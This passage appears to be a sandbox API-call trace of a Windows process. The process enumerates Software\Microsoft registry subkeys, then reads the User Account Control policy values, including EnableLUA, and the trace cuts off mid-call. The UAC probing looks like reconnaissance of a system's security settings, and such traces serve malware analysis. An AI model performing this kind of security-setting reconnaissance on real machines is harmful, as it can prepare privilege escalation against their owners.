RegEnumKeyW (in: hKey=0x24, dwIndex=0x39, lpName=0x119b930, cchName=0x104 | out: lpName="MMC") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3a, lpName=0x119b930, cchName=0x104 | out: lpName="Mobile") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3b, lpName=0x119b930, cchName=0x104 | out: lpName="MSBuild") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3c, lpName=0x119b930, cchName=0x104 | out: lpName="MSDE") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3d, lpName=0x119b930, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3e, lpName=0x119b930, cchName=0x104 | out: lpName="MSF") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3f, lpName=0x119b930, cchName=0x104 | out: lpName="MSLicensing") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x40, lpName=0x119b930, cchName=0x104 | out: lpName="MSMQ") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x41, lpName=0x119b930, cchName=0x104 | out: lpName="MSN Apps") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x42, lpName=0x119b930, cchName=0x104 | out: lpName="MSOSOAP") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x43, lpName=0x119b930, cchName=0x104 | out: lpName="MSSearch36") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x44, lpName=0x119b930, cchName=0x104 | out: lpName="MSSQLServer") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x45, lpName=0x119b930, cchName=0x104 | out: lpName="Multimedia") returned 0x0 [0187.951] RegEnumKeyW (in: hKey=0x24, dwIndex=0x46, lpName=0x119b930, cchName=0x104 | out: lpName="NapServer") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x47, lpName=0x119b930, cchName=0x104 | out: lpName="NET Framework Setup") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x48, lpName=0x119b930, cchName=0x104 | out: lpName="NetSh") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x49, lpName=0x119b930, cchName=0x104 | out: lpName="Network") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4a, lpName=0x119b930, cchName=0x104 | out: lpName="NetworkAccessProtection") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4b, lpName=0x119b930, cchName=0x104 | out: lpName="Non-Driver Signing") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4c, lpName=0x119b930, cchName=0x104 | out: lpName="Notepad") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4d, lpName=0x119b930, cchName=0x104 | out: lpName="ODBC") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4e, lpName=0x119b930, cchName=0x104 | out: lpName="Office") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4f, lpName=0x119b930, cchName=0x104 | out: lpName="OfficeSoftwareProtectionPlatform") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x50, lpName=0x119b930, cchName=0x104 | out: lpName="Ole") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x51, lpName=0x119b930, cchName=0x104 | out: lpName="Outlook Express") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x52, lpName=0x119b930, cchName=0x104 | out: lpName="PLA") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x53, lpName=0x119b930, cchName=0x104 | out: lpName="PowerShell") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x54, lpName=0x119b930, cchName=0x104 | out: lpName="Print") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x55, lpName=0x119b930, cchName=0x104 | out: lpName="RADAR") returned 0x0 [0187.952] RegEnumKeyW (in: hKey=0x24, dwIndex=0x56, lpName=0x119b930, cchName=0x104 | out: lpName="Ras") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x57, lpName=0x119b930, cchName=0x104 | out: lpName="RAS AutoDial") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x58, lpName=0x119b930, cchName=0x104 | out: lpName="Reliability Analysis") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x59, lpName=0x119b930, cchName=0x104 | out: lpName="RemovalTools") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5a, lpName=0x119b930, cchName=0x104 | out: lpName="RendezvousApps") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5b, lpName=0x119b930, cchName=0x104 | out: lpName="Router") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5c, lpName=0x119b930, cchName=0x104 | out: lpName="Rpc") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5d, lpName=0x119b930, cchName=0x104 | out: lpName="SchedulingAgent") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5e, lpName=0x119b930, cchName=0x104 | out: lpName="Schema Library") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5f, lpName=0x119b930, cchName=0x104 | out: lpName="Security Center") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x60, lpName=0x119b930, cchName=0x104 | out: lpName="Sensors") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x61, lpName=0x119b930, cchName=0x104 | out: lpName="Shared") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x62, lpName=0x119b930, cchName=0x104 | out: lpName="Shared Tools") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x63, lpName=0x119b930, cchName=0x104 | out: lpName="Shared Tools Location") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x64, lpName=0x119b930, cchName=0x104 | out: lpName="SideShow") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x65, lpName=0x119b930, cchName=0x104 | out: lpName="SnippingTool") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x66, lpName=0x119b930, cchName=0x104 | out: lpName="Software") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x67, lpName=0x119b930, cchName=0x104 | out: lpName="Speech") returned 0x0 [0187.953] RegEnumKeyW (in: hKey=0x24, dwIndex=0x68, lpName=0x119b930, cchName=0x104 | out: lpName="SQMClient") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x69, lpName=0x119b930, cchName=0x104 | out: lpName="Sync Framework") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6a, lpName=0x119b930, cchName=0x104 | out: lpName="Sysprep") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6b, lpName=0x119b930, cchName=0x104 | out: lpName="SystemCertificates") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6c, lpName=0x119b930, cchName=0x104 | out: lpName="TableTextService") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6d, lpName=0x119b930, cchName=0x104 | out: lpName="TabletTip") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6e, lpName=0x119b930, cchName=0x104 | out: lpName="Tcpip") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6f, lpName=0x119b930, cchName=0x104 | out: lpName="Terminal Server Client") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x70, lpName=0x119b930, cchName=0x104 | out: lpName="TermServLicensing") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x71, lpName=0x119b930, cchName=0x104 | out: lpName="TIP Shared") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x72, lpName=0x119b930, cchName=0x104 | out: lpName="TPG") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x73, lpName=0x119b930, cchName=0x104 | out: lpName="Tpm") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x74, lpName=0x119b930, cchName=0x104 | out: lpName="Tracing") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x75, lpName=0x119b930, cchName=0x104 | out: lpName="Transaction Server") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x76, lpName=0x119b930, cchName=0x104 | out: lpName="TV System Services") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x77, lpName=0x119b930, cchName=0x104 | out: lpName="uDRM") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x78, lpName=0x119b930, cchName=0x104 | out: lpName="Updates") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x79, lpName=0x119b930, cchName=0x104 | out: lpName="UPnP Device Host") returned 0x0 [0187.954] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7a, lpName=0x119b930, cchName=0x104 | out: lpName="VBA") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7b, lpName=0x119b930, cchName=0x104 | out: lpName="Virtual Machine") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7c, lpName=0x119b930, cchName=0x104 | out: lpName="VisualStudio") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7d, lpName=0x119b930, cchName=0x104 | out: lpName="WAB") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7e, lpName=0x119b930, cchName=0x104 | out: lpName="WBEM") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7f, lpName=0x119b930, cchName=0x104 | out: lpName="WIMMount") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x80, lpName=0x119b930, cchName=0x104 | out: lpName="Windows") returned 0x0 [0187.955] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Windows", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df590 | out: phkResult=0x2df590*=0xa0) returned 0x0 [0187.955] RegCloseKey (hKey=0x24) returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x119b930, cchName=0x104 | out: lpName="CurrentVersion") returned 0x0 [0187.955] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="CurrentVersion", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df590 | out: phkResult=0x2df590*=0x24) returned 0x0 [0187.955] RegCloseKey (hKey=0xa0) returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x0, lpName=0x119b930, cchName=0x104 | out: lpName="App Management") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1, lpName=0x119b930, cchName=0x104 | out: lpName="App Paths") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x2, lpName=0x119b930, cchName=0x104 | out: lpName="Applets") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x3, lpName=0x119b930, cchName=0x104 | out: lpName="Audio") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x4, lpName=0x119b930, cchName=0x104 | out: lpName="Authentication") returned 0x0 [0187.955] RegEnumKeyW (in: hKey=0x24, dwIndex=0x5, lpName=0x119b930, cchName=0x104 | out: lpName="BitLocker") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x6, lpName=0x119b930, cchName=0x104 | out: lpName="BITS") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x7, lpName=0x119b930, cchName=0x104 | out: lpName="Component Based Servicing") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x8, lpName=0x119b930, cchName=0x104 | out: lpName="Control Panel") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x9, lpName=0x119b930, cchName=0x104 | out: lpName="Controls Folder") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0xa, lpName=0x119b930, cchName=0x104 | out: lpName="DateTime") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0xb, lpName=0x119b930, cchName=0x104 | out: lpName="Device Installer") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0xc, lpName=0x119b930, cchName=0x104 | out: lpName="Device Metadata") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0xd, lpName=0x119b930, cchName=0x104 | out: lpName="Diagnostics") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0xe, lpName=0x119b930, cchName=0x104 | out: lpName="DriverSearching") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0xf, lpName=0x119b930, cchName=0x104 | out: lpName="EventCollector") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x10, lpName=0x119b930, cchName=0x104 | out: lpName="EventForwarding") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x11, lpName=0x119b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x12, lpName=0x119b930, cchName=0x104 | out: lpName="Ext") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x13, lpName=0x119b930, cchName=0x104 | out: lpName="GameUX") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x14, lpName=0x119b930, cchName=0x104 | out: lpName="Group Policy") returned 0x0 [0187.956] RegEnumKeyW (in: hKey=0x24, dwIndex=0x15, lpName=0x119b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x16, lpName=0x119b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x17, lpName=0x119b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x18, lpName=0x119b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x19, lpName=0x119b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1a, lpName=0x119b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1b, lpName=0x119b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1c, lpName=0x119b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1d, lpName=0x119b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1e, lpName=0x119b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x1f, lpName=0x119b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x20, lpName=0x119b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x21, lpName=0x119b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x22, lpName=0x119b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x23, lpName=0x119b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x24, lpName=0x119b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x25, lpName=0x119b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x26, lpName=0x119b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0187.957] RegEnumKeyW (in: hKey=0x24, dwIndex=0x27, lpName=0x119b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0187.958] RegOpenKeyExW (in: hKey=0x24, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df590 | out: phkResult=0x2df590*=0xa0) returned 0x0 [0187.958] RegCloseKey (hKey=0x24) returned 0x0 [0187.958] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x119b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0187.958] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x119b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0187.958] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x119b930, cchName=0x104 | out: lpName="Explorer") returned 0x0 [0187.958] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x3, lpName=0x119b930, cchName=0x104 | out: lpName="NonEnum") returned 0x0 [0187.958] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x4, lpName=0x119b930, cchName=0x104 | out: lpName="System") returned 0x0 [0187.958] RegOpenKeyExW (in: hKey=0xa0, lpSubKey="System", ulOptions=0x0, samDesired=0x20109, phkResult=0x2df590 | out: phkResult=0x2df590*=0x24) returned 0x0 [0187.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b930) returned 1 [0187.958] RegCloseKey (hKey=0xa0) returned 0x0 [0187.958] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b860) returned 1 [0187.958] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.958] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ValidateAdminCodeSignatures", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x9, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="dontdisplaylastusername", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0xa, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticecaption", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0xb, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="legalnoticetext", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0xc, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="scforceoption", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0xd, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="shutdownwithoutlogon", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0xe, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="undockwithoutlogon", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0xf, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.959] RegEnumValueA (in: hKey=0x24, dwIndex=0x10, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FilterAdministratorToken", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0187.960] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x2df5a8, lpData=0x0, lpcbData=0x2df5b0*=0x0 | out: lpType=0x2df5a8*=0x4, lpData=0x0, lpcbData=0x2df5b0*=0x4) returned 0x0 [0187.960] RegQueryValueExA (in: hKey=0x24, lpValueName="EnableLUA", lpReserved=0x0, lpType=0x2df5a8, lpData=0x119c438, lpcbData=0x2df5b0*=0x4 | out: lpType=0x2df5a8*=0x4, lpData=0x119c438*=0x1, lpcbData=0x2df5b0*=0x4) returned 0x0 [0187.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c438) returned 1 [0187.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119c5a0) returned 1 [0187.960] RegEnumValueA (in: hKey=0x24, dwIndex=0x0, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorAdmin", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x10) returned 0x119b860 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b878 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c5a0 [0187.960] RegEnumValueA (in: hKey=0x24, dwIndex=0x1, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ConsentPromptBehaviorUser", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b888 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c438 [0187.960] RegEnumValueA (in: hKey=0x24, dwIndex=0x2, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableInstallerDetection", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b898 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c558 [0187.960] RegEnumValueA (in: hKey=0x24, dwIndex=0x3, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableLUA", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b930 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c510 [0187.960] RegEnumValueA (in: hKey=0x24, dwIndex=0x4, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableSecureUIAPaths", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x20) returned 0x119b940 [0187.960] RtlFreeHeap (HeapHandle=0x1190000, Flags=0x0, BaseAddress=0x119b860) returned 1 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b860 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c4c8 [0187.960] RegEnumValueA (in: hKey=0x24, dwIndex=0x5, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableUIADesktopToggle", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0187.960] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b968 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c480 [0188.008] RegEnumValueA (in: hKey=0x24, dwIndex=0x6, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="EnableVirtualization", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b978 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3f0 [0188.008] RegEnumValueA (in: hKey=0x24, dwIndex=0x7, lpValueName=0x2df49c, lpcchValueName=0x2df498, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="PromptOnSecureDesktop", lpcchValueName=0x2df498, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x8) returned 0x119b988 [0188.008] RtlAllocateHeap (HeapHandle=0x1190000, Flags=0x8, Size=0x40) returned 0x119c3a8 [0188.008] RegEnumValueA (in: hKey=0x24, dwIndex=0x8, 